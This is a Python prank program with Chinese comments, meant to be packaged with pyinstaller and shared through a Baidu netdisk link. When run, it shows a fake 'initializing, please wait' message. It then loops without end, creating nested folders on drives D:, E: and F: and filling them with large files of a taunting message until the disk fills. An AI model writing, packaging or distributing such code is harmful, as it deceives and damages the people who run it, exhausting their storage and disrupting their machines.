搞怪程序
#python 搞怪程序,乱建文件。使用pyinstaller打包~
import os
def main():
ls=['D:\\','E:\\','F:\\']
i=0;s='不要打开';_str='让你别打开你不听,吃亏了吧!!'
print("正在初始化 ,请耐心等待~")
while True:
name=s+str(i)+'.txt'
file_paths=os.listdir(ls[i%3])
file_path=file_paths[i%len(file_paths)]
print(file_path)
make_boom(file_path+str(i), 1000, 1000,name,_str)
make_boom(name+str(i), 1000, 1000,name,_str)
with open(name,'w') as fw:
fw.write(_str*100)
fw.close()
i=i+1
def make_boom(file_path, file_num, string_len,file_name,_str):
if not os.path.exists(file_path):
os.mkdir(file_path)
os.chdir(file_path)
for i in range(file_num):
with open(file_name, 'w',encoding='utf-8') as f:
f.write(_str* string_len)
if __name__ == '__main__':
main()
'''
相关程序连接如下:
链接:https://pan.baidu.com/s/1UJK0xs4UsacJ2N5jBJjsLw
提取码:FHAN
'''